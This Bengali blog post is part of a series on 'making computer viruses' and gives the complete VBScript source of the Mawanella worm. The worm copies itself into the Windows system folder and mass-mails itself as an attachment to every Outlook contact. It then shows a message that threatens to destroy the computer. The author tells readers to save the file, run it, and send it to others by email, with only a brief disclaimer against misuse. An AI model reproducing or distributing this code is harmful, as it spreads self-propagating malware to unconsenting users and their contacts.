তৈরী করুন কম্পিউটার ভাইরাস । আজ ৫ম পর্ব ।

আজকে mawanella (original) ভাইরাসের কোড আপনাদের জানিয়ে দেব ।

এই টিউন সবজান্তাদের জন্য নহে ….. যারা আমার মত কম জানেন তাদের জন্যই এই টিউন । অবশ্যই অপব্যবহারের জন্য নয় ….
ভাইরাস নিয়ে অনেকে টিউন করে গেছেন ।
তাই যদি কোন কোড মিলে যায় জানাবেন সংশোধনের চেষ্টা করব । আর অবশ্যই ইতিবাচক কমেন্ট আশা করছি ।

আজকে যে ভাইরাসের কোড শেয়ার করব সেটি mawanella (original) ভাইরাস । এটিও অনেক শক্তিশালী তাই সাবধানে সংরক্ষন করুন । নোটপ্যাড ওপেন করুন এবং নিচের কোডগুলো কপি-পেষ্ট করে দিন । ফাইলটি mawanella.vbs নামে সেভ করুন । ব্যস তৈরী হয়ে গেল ভাইরাস ।

mawanella (original) ভাইরাসঃ

এখান হতে কপি করা শুরু করুন

On Error Resume Next
Rem // I hate Mawanella incident
Set W_S = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject("WScript.Shell")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WScript.ScriptFullName)
cFile.Copy(dirsystem&"\Mawanella.vbs")

Set OutlookA = CreateObject("Outlook.Application")
If OutlookA = "Outlook" Then
Set Mapi=OutlookA.GetNameSpace("MAPI")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = "Mawanella"
MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsystem & "\Mawanella.vbs"
'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
MailX.DeleteAfterSubmit = True
If MailX.To <> "" Then
MailX.Send
End If
Next
End If
Next
Else
msgBox "Please Forward this to everyone"
End if

strMsg= " ) (" & vbcrlf
strMsg= strMsg & "( ) ( ) " & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " -------------------------" & vbcrlf
strMsg= strMsg & " / ( ( ( /\" & vbcrlf
strMsg= strMsg & " / ( / \" & vbcrlf
strMsg= strMsg & " / ( ( / \" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf
strMsg= strMsg & " | --- | |" & vbcrlf
strMsg= strMsg & " | ----- | | | |" & vbcrlf
strMsg= strMsg & " | | | --- | |" & vbcrlf
strMsg= strMsg & " | | | | |" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf

strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf
strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf
strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf
strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."

msgbox strMsg,,"Mawanella"

End sub

কপি করা শেষ করুন

এই mawanella (original) ভাইরাসটি ই-মেইল করে পাঠাতে পারেন, কিংবা যে কোন মাধ্যম ব্যবহার করতে পারেন ।
বেশীকিছু জানতে পরীক্ষামূলক ভাবে চালিয়ে দেখতে পারেন ।

পূর্ববর্তী টিউন গুলো দেখার জন্য

১. সাবধান ! শক্তিশালী ভাইরাস কোড (পার্ট-১)

২. সাবধান ! শক্তিশালী ভাইরাস কোড (পার্ট-২)

৩. সাবধান ! শক্তিশালী ভাইরাস কোড (পার্ট-৩)

৪. সাবধান ! শক্তিশালী ভাইরাস কোড (পার্ট-৪)

অপেক্ষায় থাকুন পরবর্তী ভাইরাসের কোডের জন্য ।